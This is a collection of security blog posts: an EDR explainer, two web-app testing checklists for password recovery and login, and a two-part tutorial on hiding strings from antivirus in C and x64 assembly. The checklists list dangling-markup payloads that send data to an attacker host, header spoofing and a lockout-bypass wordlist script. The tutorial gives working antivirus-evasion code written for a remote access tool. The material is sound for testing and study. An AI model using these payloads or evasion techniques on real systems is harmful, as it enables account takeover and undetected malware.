Meaning of EDR and Its Importance to the Security Stack in 2022

by Gilad David Maayan


What is the Meaning of EDR?

The term Endpoint Detection and Response (EDR), coined by Anton Chuvakin of Gartner, refers to a security system that uses advanced analytics and automation to: 

  • Detect suspicious activity on hosts and endpoints like employee workstations, servers, and mobile devices
  • Perform automated rule-based threat response directly on the endpoint
  • Enable security teams to quickly investigate and respond to threats

Today EDR is a mature solution provided by most security vendors, as an integrated agent deployed on endpoints. Modern EDR solutions can monitor endpoints, collect activity data that may indicate threats, and analyze this data to identify threat patterns. 

When a threat is detected, in many cases EDR can automatically respond, isolate the endpoint, contain the identified threats, and notify security personnel. In addition, EDR provides forensic and analytical tools that allow security analysts to understand what is happening on endpoints across the organization and take action to eradicate the threat.

Why is EDR Important to the Security Stack?

Every business needs a strong security stack—a set of technologies that secures all aspects of business operations. The advent of remote work and the growing use of the cloud has made organizations more complex and fragmented. Employees now commonly use personal devices to access internal systems across public networks, and many assets run in public cloud systems outside the organization’s control, making cloud security a critical concern.

Across all these environments—the traditional data center, the cloud, and remote locations in the hybrid workplace—there is a growing number of endpoints. Laptops, smartphones, tablets, desktops, servers, and virtual machines can all be considered as endpoints, and it is critical to monitor them and protect them from external threats. 

Most organizations have a robust network security toolset, including tools like firewalls and intrusion prevention systems (IPS). However, until recently many companies relied on legacy antivirus to protect endpoints, without deploying more sophisticated tools.

Endpoint detection and response can complement network security and traditional security solutions like security information and event management (SIEM), protecting against critical threats like device theft, account compromise, malware and ransomware, web-based attacks, and social engineering.

Common Capabilities of EDR Solutions

Threat Detection

EDR software regularly scans endpoints for malware—including zero day and fileless malware that cannot be detected by traditional antivirus. For example, EDR can flag suspicious files an employee unknowingly downloads, quarantining them until they are inspected by security teams. Some EDR solutions even include sandboxing solutions that can automatically “detonate” a suspicious file to see if it contains a threat. Early detection of these threats can help stop attackers at early stages of the kill chain.

Behavioral Blocking and Containment

Today's threat landscape is driven by fileless malware and highly polymorphic threats, which traditional antivirus cannot identify. In other cases, attackers compromise accounts and devices via social engineering, without the use of malware, making them undetectable by traditional tools. 

EDR introduces artificial intelligence and machine learning (AI/ML) capabilities that enable behavioral analysis of software running on an endpoint. EDR can perform advanced analysis of process trees, and as soon as a process exhibits suspicious behavior—even if it does not match any known attack pattern—block it and notify security teams.

Monitoring

In addition to device scanning, EDR solutions enable real-time monitoring of endpoints. Whenever suspicious activity occurs, security teams are alerted, and the EDR solution can block access to sensitive data, or even completely isolate the endpoint, until the problem is resolved. 

For example, if an employee tries to access sensitive data in a way that doesn’t match their regular work patterns (e.g. at an unusual time or from an unusual location), EDR can lock down the endpoint until security teams investigate the event.

Application Control

EDR tools are sensitive and can sometimes wrongly detect suspicious activity from certain software applications. Application control allows IT teams to define an allowlist that specifies which applications are legitimate for use on the endpoint, and conversely—which applications are not allowed and should be prohibited on the endpoint. 

Automated Threat Response

Since threats do not always occur during business hours, the EDR platform must be able to initiate a response playbook without human intervention. Automated threat response blocks suspicious activity and quarantines potential threats until they can be investigated by a human analyst. 

EDR auto-response capabilities are made even more powerful when they are integrated with other cybersecurity systems such as SIEM, zero trust systems, and next-generation firewalls.

EDR Best Practices

Consider User Experience

When deploying EDR, pay special attention to the user experience. Security solutions can hurt user productivity, and this can cause users to disable defenses or use unauthorized endpoints. 

The best solution for this problem is open discussion and collaboration with users, and you should be open to making changes to a security program and even switching EDR solution to accommodate user requests. Ideally, evaluate solutions together with end-users and run pilots to determine if the solution causes any problem for your users.

A good EDR platform should be as transparent as possible to the end user. When interaction is required, communication should be clear and direct. In any event, the system must not provide unnecessary system information such as IP schema or personal data.

Integrate With Other Tools

EDR solutions are designed to protect endpoints, not the entire IT environment. Thus it is important to select a tool that integrates with other solutions for maximum protection. Combine this solution with next-generation antivirus (NGAV), DNS protection, firewalls, and encryption protocols.

Some EDR solutions can be integrated with SIEM solutions, which monitor and alert on network-wide problems. This allows you to centralize management of all security tools, including EDR. A centralized event log allows teams to quickly analyze and respond to events and correlate endpoint activity with other signals from the environment.

Use Network Segmentation

Some EDR solutions can respond to incidents by isolating endpoints, but ideally, your network should be segmented to begin with. Network microsegmentation allows you to ensure endpoints can only access the services and data stores they actually need. It reduces the risk of malware infection and data loss in the event of a successful breach.

Modern network segmentation solutions based on a zero trust approach give you the ability to hide network structures from endpoints, making it more difficult for attackers to move laterally from one network segment to another.

Take Preventive Measures

Don't rely solely on EDR to proactive respond to threats. It is important to combine EDR with preventive measures that can prevent threats from reaching the endpoint. Make sure systems are fully updated and patched, preferably using an automated process. Deploy other endpoint protection solutions on the device, in particular NGAV.

Regular system audits should be performed to ensure that tools and protocols are configured and applied correctly. Continuously run threat modeling and penetration testing to test the functionality of systems and tools. Consider using deception techniques to slow down attackers and identify evasive threats. 

Another critical preventive action is to create a comprehensive incident response plan that specifies roles and responsibilities in the incident response team, response playbooks, and recovery procedures. Such a plan can help reduce incident response time and provide a structure for analyzing post-attack forensic data.

Conclusion

In this article I explained the basics of EDR, showed why it is a critical complement to traditional network security solutions, and covered several best practices that can help you effectively implement EDR in your organization:

  • Consider the user experience to avoid user resistance to EDR agents.
  • Integrate with other tools to ensure EDR is part of your holistic security strategy.
  • Use network segmentation in combination with EDR to reduce the “blast radius” of successful breaches.
  • Take preventive measures to ensure that threats do not reach endpoint in the first place.

I hope this is useful as you consider EDR as part of your modern security stack.


Image Source: https://www.vecteezy.com/photo/2632230-eye-closed-padlock-on-digital-background-cyber-security

AppSec tales III | Password Recovery

by Karol Mazurek


Application Security Testing of the Password Recovery form guidelines.

INTRODUCTION

This is the third article in the AppSec series which describes how to test Password Recovery forms to ensure a secure authentication process.
The advice in this article is based on:

  • OWASP Web Security Testing Guide
  • OWASP Application Security Verification Standard
  • NIST recommendations
  • bug bounty reports
  • own experience.

I will provide a short test sample, a potential impact or an attack scenario, and a possible solution to the problem at each point.

GUIDELINES

I. PASSWORD RECOVERY LINK POISONING

Poison the domain part of the password recovery link.

  • It could allow the attacker to hijack the account of the victim user who clicked on the poisoned password recovery link.
Source: Own study — The testing flow of password reset poisoning (fuzzing wordlist).

DANGLING MARKUPS PAYLOADS

"><img src='//domain_collab? 
"><img src='http://domain_collab/log.php?HTML=
"><meta http-equiv="refresh" content='0; url=http://domain_collab/log.php?text=
"><meta http-equiv="refresh" content='0;URL=file://domain_collab?a=
"><table background='//domain_collab?'
"><base href='http://domain_collab/'>
"><button name=xss type=submit formaction='https://domain_collab'>I get consumed!
"><input type='hidden' name='review_body' value="
"><form action=http://domain_collab><input type="submit">Click Me</input><select name=xss><option
"><noscript><form action=http://domain_collab><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
"><script src='/search?q=a&call=alert(1)'></script>
"><html><head></head><body><script>top.window.location = "https://domain_collab/hacked.html"</script></body></html>
"><portal src='https://domain_collab?

ADDITIONAL HEADERS

X-Originating-IP: domain_collab
X-Forwarded-For: domain_collab
X-Remote-IP: domain_collab
X-Remote-Addr: domain_collab
X-Client-IP: domain_collab
X-Host: domain_collab
X-Forwarded-Host: domain_collab
X-Forwarded-Server: domain_collab
X-HTTP-Host-Override: domain_collab
Forwarded: domain_collab

Avoid using the Host header altogether in server-side code.
Double-check whether each URL needs to be absolute & avoid additional headers.

II. PASSWORD RECOVERY PARAMETER POISONING

Try to duplicate the identification component (email, username, etc.).

  • If the same password reset link was sent to several selected emails, an attacker could hijack the victim’s account.
Source: Own study — Duplicating password recovery identification component parameter (fuzzing wordlist).

Password recovery API should not accept multiple values for the same parameter.

III. NO RATE-LIMITING — MAILBOX FLOODING

Try to send 1000 recovery requests in a short time.

  • The attacker could send password recovery tokens massively to a victim’s inbox, causing its saturation which eventually hides important information from other emails.
  • Facilitates the attacker in the enumeration of sign-in components (usernames, email addresses, etc.) and gathering token samples.
Source: Own study — Setting up Burp Intruder for the password recovery rate-limit test.

Restrict the consecutive requests through mechanisms like time delay, CAPTCHA, or other controls. No more than 100 failed attempts per hour should be possible on a single account.

IV. WEAK PASSWORD RECOVERY TOKEN

Ensure that generated tokens are secure.

  • The attacker could reuse the token, thus hijacking the victim’s account.
  • Since the token would be easily guessed, the attacker could change the victim’s password and hijack the victim’s account.
  • If the token does not have an expiry date, there could be a situation where the attacker would compromise the victim’s old email inbox with an unused token that he could use to hijack his account.
Source: Own study — Password recovery token testing flow.
Source: Own study — Loading all tokens from the file into Burp Sequencer.

The token should be at least 32 characters long, generated using a secure source of randomness, single-use, time-limited, and bound to account.

V. USERNAME COLLISION ACCOUNT TAKEOVER

Register a similar username and request a password reset.

  • An attacker could hijack any user account only by knowing his name.
Source: Own study — Username collision account takeover testing flow (fuzzing wordlist).

Ensure canonical encoding is used across all the text and that no invalid characters are present.

VI. DENIAL OF AUTHENTICATION

Check if you can block the authentication using the recovery feature.

  • An attacker could lock multiple users’ accounts, only by knowing their names indefinitely using a loop.

Do not make any changes to the account until the user confirms it.

VII. ENUMERATION

Check user enumeration via status code|error message|time differences.

  • May allow the attacker to guess valid users and use them to perform brute-force and social engineering attacks.
Source: Own study — Enumerating usernames on the password recovery page.

The generic message should be implemented and the timing difference should not be significant enough to allow user enumeration.

VIII. MULTIPLE VALID RESET LINKS

Request recovery twice and check if the first token works.

  • An attacker may be able to take over another user’s account.

If multiple reset links are requested, older & unused tokens should be invalidated.

IX. SESSION PUZZLING

Check if the username session can be populated via password recovery.

  • An attacker could hijack any user account by knowing his name or with the used password reset token (example).
Source: Own study — Session puzzling testing flow.

Session variables should only be used for a single consistent purpose.

X. BROKEN SESSION INVALIDATION

Check if you can use the same session after resetting the password.

  • An attacker who captured the victim’s old SID could hijack his account.
Source: Own study — Testing broken session invalidation.

The application should invalidate the session on the server-side after the user changes his password using the recovery feature.

XI. TOKEN LEAKAGE IN REFERER HEADER

Intercept the request to 3rd party sites after requesting a token.

  • It allows the attacker who has control of a particular site to change the user’s password using the leaked token.
Source: Own study — The testing flow of token leakage in referer header.

Password recovery tokens should not be sent to any 3rd party websites, through any request component. Ensure that the reset password page adds the Referrer-Policy tag with the noreferrer value to avoid referrer leakage.

XII. TOKEN LEAKAGE IN SERVER RESPONSE

Intercept the server response and check for password recovery token.

  • An attacker could hijack any user account only by knowing his name.
Source: Own study — Intercepting response to the password recovery request.

The application should not cache or store sensitive information in an insecure place such as server response or javascript files.

XIII. CREDENTIALS OVER AN UNENCRYPTED CHANNEL

Check if data is transferred via HTTP or as a parameter in the URL.

  • Sensitive data may be logged by the browser, the webserver, and forward or reverse proxy servers between the two endpoints.
  • It could be also displayed on-screen, bookmarked, or emailed around by users.
  • They may be disclosed to third parties via the Referer header when any off-site links are followed.
Source: Own study — Example of sensitive data transmitted in the path and using HTTP.

Sensitive data in the URL and sent using not secure Hypertext Transfer Protocol increases the risk that it will be captured.

XIV. PASSWORD POLICY

Check if the password policy complies with current standards.

  • The password could be brute-forced easier.
  • If the database was leaked, the passwords could be cracked more easily.
Source: Own study — Password policy guidelines (10,000 common password wordlist).

Password policy is volatile, always refer to the latest Application Security Verification Standard recommendations.

XV. SSRF

Analyze the callback using Burp Collaborator “victim@burp_collab.net “.

I honestly never found a security bug like this, but analyzing DNS/SMTP interactions with the use of a collaborator may extend the attack surface.

XVI. PASSWORD RECOVERY EMAIL SPOOFING

Check if the email is sent from a domain with anti-spoofing protection.

  • An attacker could use the domain as part of a social engineering attack.
Source: Own study —Testing the domain from which the password reset links are sent.

The domain should implement SPF, DKIM, and DMARC protections.

XVII. INPUT VALIDATION

Check the AppSec Tales I and AppSec Tales II.

Check the Input Validation Cheat Sheet from OWASP.

XVIII. INPUT LENGTH LIMITATIONS

Check all parameters value length limits.

  • The most common issue is that the hashing mechanism on the password parameter value causes DoS.
Source: Own study — Proper length limitations.

Implement proper length limitations on the data received from the user.

XIX. MISSING PASSWORD FIELD MASKING

Check if the software does mask passwords during entry.

  • Increasing the potential for attackers to observe and capture passwords.
Source: Own study — Example of missing password field masking.

Include a password field mask and an option to view the masked password.

FINAL WORDS

Testing any element of a Web Application is like sailing the open ocean.
Treat the WSTG like the compass and the ASVS like azimuth.

However, do not forget that someone had to invent it. Therefore you always have to look for new ways that you will not find in the WSTG or here, but you have to find them yourself.

Nevertheless, I hope you will find this article useful and keep coming back to it. I also encourage you to comment if you have an idea for a point for this article or if you find any bugs here ;]


Originally posted at: https://systemweakness.com/appsec-tales-iii-password-recovery-5d68e1df4385

AppSec Tales II | Sign-in

by Karol Mazurek


Application Security Testing of the Login form guidelines.

INTRODUCTION

This is the second article in the AppSec series, which describes how to test Login forms to ensure a secure authentication process.
The advice in this article is based on:

  • OWASP Web Security Testing Guide
  • OWASP Application Security Verification Standard
  • NIST recommendations
  • bug bounty reports
  • Own experience.

I will provide a short test sample, a potential impact or an attack scenario, and a possible solution to the problem at each point.

GUIDELINES

I. IMPROPER AUTHENTICATION — BRUTE FORCE

Send multiple values using parameter pollution or an array variable.

  • An attacker can guess a user password using a few requests.
Source: Own study — Examples of password guessing and spraying attack.

API should not accept multiple values for the parameters during authentication.

II. IMPROPER AUTHENTICATION — ACCOUNT HIJACKING

Use victim email without a password as an additional parameter.

  • An attacker could hijack a victim’s account without a password.
Source: Own study — Example of account hijacking attack.

API should not allow multiple accounts to be logged in with a single request.

III. “ANONYMOUS” LOGIN

Do not use any data to authenticate or use the only name.

  • An attacker could access the application unauthenticated.
Source: Own study — Accessing the application without valid credentials.

API should not allow signing in without credentials.

IV. CLIENT-SIDE VERIFICATION

Manipulate server response after an unsuccessful login attempt.

  • An attacker could access the victim’s account with only a valid username.
  • The technique can find new endpoints and trigger some new requests without looking into a JS code. It is convenient when the JS code is enormous, and you have little time.
Source: Own study — Intercepting response to the login request.
Source: Own study — Changing response from “403 Forbidden” to “200 OK” and forwarding it.

Ensure that client-side security checks are duplicated on the server-side.

V. PUBLICLY ACCESSIBLE ADMIN LOGIN PAGE

Check if any admin login panel is available to the public.

  • An attacker could perform a brute-force attack to compromise administrator account credentials or access by exploiting vulnerabilities in the case of unpatched systems.
Source: Own study —  -kre -w wordlist.txt -o out.txt -u  -H “$cookie”

Restrict admin panel access to only whitelisted IP addresses.

VI. WEAK ADMIN PASSWORD

Check default & common passwords on the admin login page.

Source: Own study — Testing weak passwords using  & .

Default credentials should be disabled and changed to non-guessable.
The password in use should not be easy to guess.

VII. INFORMATION DISCLOSURE

Check login page source & JS code before and after failed login attempt.

Source: Own study — Using Burp Comparer to check differences in both responses.

The application should not cache or store sensitive information in an insecure place, such as server response or javascript files.

VIII. CREDENTIALS OVER AN UNENCRYPTED CHANNEL

Check if data is transferred via HTTP or as a parameter in the URL.

  • Sensitive data may be logged by the browser, the webserver, and forward or reverse proxy servers between the two endpoints.
  • It could also be displayed on-screen, bookmarked, or emailed around by users.
  • They may be disclosed to third parties via the Referer header when any off-site links are followed.
Source: Own study — Example of sensitive data transmitted in the path using HTTP.

Sensitive data in the URL and sent using not secure Hypertext Transfer Protocol increases the risk that it will be captured.

IX. ENUMERATION

Check user enumeration via status code|error message|time differences.

  • May allow the attacker to guess valid users and use them to perform brute-force and social engineering attacks.
Source: Own study — Enumerating usernames on the login page.
Source: Own study — Testing enumeration using time differences.

The generic message should be implemented, and the timing difference should not be significant enough to allow user enumeration.

X. FAKE LOCKING MECHANISM

Check if you can log in after 100 failed attempts.

  • The attacker may perform brute-force attacks.
Source: Own study — Example of a fake locking mechanism response (status code).

Implement Time-based lockout or self-service unlock (sends unlock email to registered email address) and as an additional layer rate-limiting and CAPTCHA.

XI. LOCKING MECHANISM RESET

Try to reset the lock by issuing the correct credentials for each “n” time.

  • The attacker may bypass the rate-limiting.
import sysif len(sys.argv) !=3:
    print("python brute_ip_ban.py [wordlist.txt] [word_to_add]")
i = 0
new_wordlist = ""with open(sys.argv[1]) as wordlist:
    for word in wordlist:
        i+=1
        if i % 3 == 0: # CHANGE - (default 3rd is valid).
            new_wordlist+= sys.argv[2] + '\n'
        else:
            new_wordlist+=wordf = open('new_' + sys.argv[1], 'w')
f.write(new_wordlist)
f.close

The locking mechanism should be implemented per account.

XII. DE-AUTHENTICATION

Check if the locking mechanism also destroys an active user session.

  • An attacker could block the victim's account.
Source: Own study — Testing Denial of a Session locking mechanism.
Source: 

The locking mechanism should not invalidate active user sessions.
Apply Self-service unlock (sends unlock email to registered email address).
Implement rate-limiting and CAPTCHA.

XIII. LOCKING MECHANISM —HEADER BYPASS

Use additional headers after triggering the lock.

  • An attacker could bypass the locking mechanism on the login page.
Source: Own study — Using headers to bypass the locking mechanism.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1

The locking mechanism should not be based on other request elements than the user account variable. Additionally, avoid using unnecessary headers.

XIV. LOCKING MECHANISM — PATH & METHODS BYPASS

Use similar paths, random parameters, and methods after the lock.

  • The attacker may bypass the locking mechanism.
Source: Own study — Testing locking mechanism parameter bypass.

The locking mechanism should not be based on other variables than the user account.

XV. LOCKING MECHANISM BYPASS — SOURCE IP ROTATION

Use a different IP address to bypass the lock.

Source: Own study — Testing locking mechanism source IP bypass ().

The locking mechanism should not be based only on the IP address.

XVI. SESSIONS MANAGEMENT

Use  to sign-in multiple times without logging out.

Source: Own study — Session management testing flow.

All successful authentications should generate a new session ID.
The application should allow a user to see all active sessions and the termination of any one of them. Moreover, the application should invalidate the session on the server-side after the user’s logout.

XVII. SESSION COOKIES SECURITY

Ensure that the proper security configuration is set for cookies.

Source: Own study — Cookies security checks.

Set HttpOnly and Secure flags for cookies used for sensitive data storage.
The SameSite parameter should be set to “Lax” or “Strict”.
The session should not be valid after the expiration date-time.

XVIII. SESSION FIXATION — REACTIVATION

Try to activate the expired session cookie.

  • An attacker could reactivate the old stolen session cookie of the victim and then hijack his account.
Source: Own study — Reactivating & reusing the expired session cookie.

Invalidate the existing session ID before authenticating a user, and if the authentication is successful, provide another session ID.

XIX. SESSION FIXATION — IMPERSONATION

Try to set the session cookie with an arbitrary value.

  • An attacker could impersonate the victim session using his cookie if it is not changed when a user logs in.
  • Another attack scenario would be setting up cookies, whereby the victim would unknowingly use the attacker’s account.
Source: Own study — Impersonating another user account with session fixation.

Implement a session token renewal after a user successfully authenticates.

XX. INFORMATION DISCLOSURE — SIGN-OUT

Check logout page response during the  process.

The application should not cache or store sensitive information in an insecure place, such as server response or javascript files.

XXI. INPUT VALIDATION

Check the INPUT VALIDATION TIPS from the .

Source: Own study — XPath & Ldap & SQLi testing ().
  • Manually check the  authentication bypass.
Source: 
Source: 
Source: Own study — Using Burp build-in wordlists for authentication bypass.
Source: Own study — Using  extension for sending 10 000 000 “A” chars in the password field value.

Check the  from OWASP.

XXII. DESCRIPTIVE SID NAME

Check if you can fingerprint the server info via SID name.

  • The attacker could use information disclosure about the underlying technological stack via session ID name for tailoring attacks.
Source: Own study — Examples of descriptive SID names ().

Change the default session ID name of the web development framework to a generic term, such as “id”.

XXIII. BRUTEFORCIBLE SID

Test session ID entropy level using Burp Sequencer.

  • An attacker could guess or predict the ID of a valid session through statistical analysis techniques, thus hijacking the victim session.
Source: Own study — Testing the SID entropy level using Burp Sequencer.

The session ID value must provide at least 64 bits of entropy.
Its length must be at least 128 bits (16 bytes).
It must also be unique to avoid duplicated IDs.

XXIV. INFORMATION DISCLOSURE IN THE SID VALUE

Search for any sensitive information in the SID value.

  • An attacker can decode the contents of the ID and extract details of the user, the session, or the inner workings of the web application.
Source: Own study — Information not considered sensitive in session token space.

The session ID must be an identifier on the client-side, and its value must never include sensitive information.

XXV. INPUT LENGTH LIMITATIONS

Check all parameters value length limits.

  • The most common issue is that the hashing mechanism on the password parameter value causes DoS.
Source: Own study — Proper length limitations.

Implement proper length limitations on the data received from the user.

XXVI. SESSION PUZZLING — REDIRECTION

Abuse redirection prevention to access the account.

  • An attacker could hijack any user account by knowing his name.
Source: Own study — Session puzzling testing flow.

Session variables should only be used for a single consistent purpose.

XXVII. MISSING PASSWORD FIELD MASKING

Check if the software does mask passwords during entry.

  • Increase the potential for attackers to observe and capture passwords.
Source: Own study — Example of missing password field masking.

Include a password field mask and an option to view the masked password.

FINAL WORDS

Testing any element of a Web Application is like sailing the open ocean.
Treat the WSTG like the compass and the ASVS like azimuth.

However, do not forget that someone had to invent it. Therefore you always have to find new ways that you will not find in the WSTG or here, but you have to find them yourself.

Nevertheless, I hope you find this article useful and keep returning to it.
I also encourage you to comment if you have an idea for a point for this article or if you find any bugs here ;]


Originally posted at: https://systemweakness.com/appsec-tales-ii-sign-in-3e880f16c588

String Anti-virus Evasion in x64 Assembly (Part 2)

by Karlo L


In my last blog post, I discussed a way to hide parameter strings from being detected by an anti-virus. The solution was simple and it worked. However, it was incomplete as strings of function calls and loaded DLLs were still detectable in memory.

string-anti-virus-evasion-in-x64-assembly-part-2-01

In this post I'll be talking about the other technique from the same blog post we were following before. It does a good job of explaining the concept which I'll be covering here too. I will also be writing the code in assembly as an added bonus, so we can better understand what goes on under the hood.

The problem

Let's revisit our code from the last time. We have two functions being called ShellExecuteA and ExitProcess.

#include <windows.h>
#include <shellapi.h>

int main(void)
{
    char ca_notepad[] = { 'n','o','t','e','p','a','d',0 };
    ShellExecuteA(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

    ExitProcess(0);
}

Upon compiling the program, the compiler takes the list of all functions used and places them in the executable (In this case, in the .rdata segment) as a readable string:

string-anti-virus-evasion-in-x64-assembly-part-2-07

A function name like ShellExecuteA will be sure to raise some eyebrows so we do not want it to be detectable. To hide this we need to do load the DLL at runtime by using LoadLibrary and GetProcAddress.

Coding in C

LoadLibrary accepts a string containing the DLL that we want to load.

    HANDLE hShell32 = LoadLibrary("shell32.dll");

This loads the DLL's code into memory and returns a handle to that location. We can see the result of this when we look at the memory map in a debugger. Here's the memory map prior to calling LoadLibrary:

string-anti-virus-evasion-in-x64-assembly-part-2-03

And here's what it looks like after:

string-anti-virus-evasion-in-x64-assembly-part-2-04

The LoadLibrary API loaded shell32.dll along with it's dependencies into memory. We can also see that it automatically handled where the new DLLs will be placed. In this case, in between pre-existing ones.


Aside: How do we know which DLL is needed?

We can find out which DLL is needed by a function by looking at it's MSDN documentation. Scroll at the end of every function documentation to see the "Requirements" section that lists the DLL that it needs.

string-anti-virus-evasion-in-x64-assembly-part-2-02


LoadLibrary then returns a HANDLE object which we can then pass to GetProcAddress.

    _ShellExecuteA fShellExecuteA = (_ShellExecuteA) GetProcAddress(hShell32, "ShellExecuteA");

GetProcAddress looks through the library we loaded and returns the address of the ShellExecuteA function. This address needs to be cast to a typedef first before it can be called. This means we need to know the structure of the typedef, which we can determine by looking at the "Syntax" section in MSDN.

Here's the syntax for ShellExecuteA according to its documentation:

HINSTANCE ShellExecuteA(
  [in, optional] HWND   hwnd,
  [in, optional] LPCSTR lpOperation,
  [in]           LPCSTR lpFile,
  [in, optional] LPCSTR lpParameters,
  [in, optional] LPCSTR lpDirectory,
  [in]           INT    nShowCmd
);

And here's our typedef implementation:

typedef HINSTANCE (*_ShellExecuteA) (
    HWND   hwnd,
    LPCSTR lpOperation,
    LPCSTR lpFile,
    LPCSTR lpParameters,
    LPCSTR lpDirectory,
    INT    nShowCmd
);

When everything is setup properly, the variable fShellExecuteA can now be used as a function.

    fShellExecuteA(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

Combining these together, this is what our code will look like:

#include <windows.h>

typedef HINSTANCE (*_ShellExecuteA) (
    HWND   hwnd,
    LPCSTR lpOperation,
    LPCSTR lpFile,
    LPCSTR lpParameters,
    LPCSTR lpDirectory,
    INT    nShowCmd
);

int main(void)
{
    HANDLE hShell32 = LoadLibrary("shell32.dll");
    _ShellExecuteA fShellExecuteA = (_ShellExecuteA) GetProcAddress(hShell32, "ShellExecuteA");

    char ca_notepad[] = { 'n','o','t','e','p','a','d',0 };
    fShellExecuteA(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

    ExitProcess(0);
}

This is not yet done, however, as strings.exe can still detect our strings. This is because we now have strings "shell32.dll" and "ShellExecuteA" as parameters for LoadLibrary and GetProcAddress. And these are placed in the .data segment in memory.

string-anti-virus-evasion-in-x64-assembly-part-2-05

This is where we can use the technique that we used in part 1. By declaring the string as an array as a local variable, the data is placed on the stack instead of in the .data segment.

Applying this technique gives us the following:

    char ca_shell32[] = { 's','h','e','l','l','3','2','.','d','l','l', 0 };
    HANDLE hShell32 = LoadLibrary(ca_shell32);

    char ca_shellExA[] = { 'S','h','e','l','l','E','x','e','c','u','t','e','A', 0 };
    _ShellExecuteA fShellExecuteA = (_ShellExecuteA) GetProcAddress(hShell32, ca_shellExA);

And now we can see that it works!

string-anti-virus-evasion-in-x64-assembly-part-2-06

Converting to assembly

As promised, we'll be converting the code above into x64 windows assembly. It's an extra step, but can give us a better understanding by approaching it from a different programming language.

Starting from the beginning, we'll be using LoadLibraryA and GetProcAddress to dynamically load the ShellExecuteA function at runtime.

If we fast forward a bit, here's what we'll end up with:

    lea rcx, [str_shell32]     ; Load "shell32.dll" string
    sub rsp, 32
    call    LoadLibraryA       ; Call "LoadLibraryA"
    add rsp, 32

    mov rcx, rax               ; Save result of LoadLibraryA to rcx
    lea rdx, [str_shexa]       ; Load "ShellExecuteA" string
    sub rsp, 32
    call    GetProcAddress     ; Call "GetProcAddress"
    add rsp, 32

    mov rbx, rax               ; The address of "ShellExecuteA" is saved to rbx
    ...                        
    ... 
    call    rbx                ; Call "ShellExeecuteA"

Wait, that's it? Yes!

This is the one of those rare moments that the Assembly code is more straightforward than C. This is because the value returned by GetProcAddresss is already an address. Since assembly deals with memory addresses, there's no need for any conversion like we did in the C version. The address can be called directly.

And just like the previous one, the code above is still not complete. The "shell" strings are still visible via strings.exe so we need to apply the technique again from Part 1. I won't be showing it step by step here anymore as it's quite lengthy.

This means that this example piece of code:

    lea rcx, [str_shell32]     ; Load "shell32.dll" string
    sub rsp, 32
    call    LoadLibraryA       ; Call "LoadLibraryA"
    add rsp, 32

Will now be like this:

    sub rsp, 16          ; Place "shell32.dll" string to the stack
    addstr2stack "s", "h", "e", "l", "l", "3", "2", ".", "d", "l", "l", 0x0 
    lea rcx, [rsp]

    sub rsp, 32
    call    LoadLibraryA ; Call "LoadLibraryA"
    add rsp, 32

addstr2stack is a macro we've written before in part 1. It makes declaring an string array easier.

Combining everything again, here's the final assembly code with comments:

    push    rbp
    mov     rbp, rsp
    sub rsp, 32

    ;; = START LOADLIBRARY ===========================================

    sub rsp, 16         ; Place "shell32.dll" string to the stack
    addstr2stack "s", "h", "e", "l", "l", "3", "2", ".", "d", "l", "l", 0x0 
    lea rcx, [rsp]

    sub rsp, 32
    call    LoadLibraryA ; Call LoadLibraryA
    add rsp, 32

    add rsp, 16         ; Release "shell32.dll" string from stack

    ;; = END LOADLIBRARY ===========================================


    ;; = START GETPROCADDRESS ===========================================

    mov rcx, rax        ; Save value to rcx (1st parameter register)

    sub rsp, 16         ; Place "ShellExecuteA" string to the stack
    addstr2stack "S", "h", "e", "l", "l", "E", "x", "e", "c", "u", "t", "e", "A", 0x0
    lea rdx, [rsp]

    sub rsp, 32
    call    GetProcAddress  ; Call GetProcAddress
    add rsp, 32

    add rsp, 16         ; Release "ShellExecuteA" from stack

    ;; = END GETPROCADDRESS ===========================================


    ;; = START SHELLEXECUTEA ===========================================

    mov r12, rax        ; Save address of "ShellExecuteA" to r12 (To be called later)

    sub rsp, 16         ; Place "notepad" string to the stack
    addstr2stack "n", "o", "t", "e", "p", "a", "d", 0x0
    lea r8, [rsp]

    push    0x5
    push    0x0
    xor r9, r9

    lea rdx, [msg_open] 
    xor rcx, rcx

    sub rsp, 32
    call    r12         ; Call "ShellExecuteA", jump to addres
    add rsp, 32

    add rsp, 16         ; Release "notepad" string from stack

    ;; = END SHELLEXECUTEA ===========================================

    xor     rax, rax
    call    ExitProcess

I know there's a lot to digest with the code above. I've made the flow similar to the flow of the C program so you can review them side by side if you feel lost. Hopefully, the comments and the separators would also help.

Note: Pay special attention to how the stack is reserved (with sub rsp, 16) and released (with add rsp, 16). I did not discuss stack alignments as it's a lengthy explanation in itself. But just remember that we are releasing the data once we've finished passing it to the function.

If done correctly, the strings would not be detectable because the data is now on the stack and not in the .data segment.

string-anti-virus-evasion-in-x64-assembly-part-2-06


It is important to note that anti-viruses can employ different techniques to do detection, but a huge part of their functionality will rely on detecting malicious strings. So at least, on that front, we now have an idea on how to defeat it.

You can view the code for part 1 and 2 on Github. Updates and fixes will be placed there.

I might post more assembly shenanigans in the future, so stay tuned.

And as always, for any questions or comments, feel free to reach out to me on Twitter or LinkedIn.


The article originally published at: https://www.accidentalrebel.com/string-av-evasion-in-x64-assembly-part-2.html

String anti-virus evasion in x64 assembly (Part 1)

by Karlo L


One of the features I implemented for my Remote Access Tool was an anti-virus evasion capability in the form of strings obfuscation. It wouldn't fool an EDR or a reverse engineer but it was quick to implement so I added it.

This was over a year ago. I decided to revisit this feature to try and understand it better and find out if it is actually effective.

What to expect

In this two-part blog post I will look into the following:

  • Hiding argument strings
  • Hiding API call strings

THe one you reading now is about the first one. I will be explaining how it's done in C and later convert it to x64 Windows Assembly so we can better understand what's happening under the hood.

Hiding function argument strings

I got the idea for this AV evasion technique from this blog post. The author posits that one part of an anti-virus detection capability is through checking for suspicious strings in an executable.

For the purpose of this post, let's pretend that "notepad" is a suspicious string that we don't want be detected by the anti-virus.

#include <windows.h>
#include <shellapi.h>

int main(void)
{
    ShellExecute(0, "open", "notepad", NULL, NULL, SW_SHOW);
}

You might think that a call to ShellExecute is already a big red flag, and you are right. It is! But we'll talk about hiding API calls on the next post. Let's focus on the parameter for now.

In the place of the anti-virus, we'll be using the strings command to check for visible strings like so:

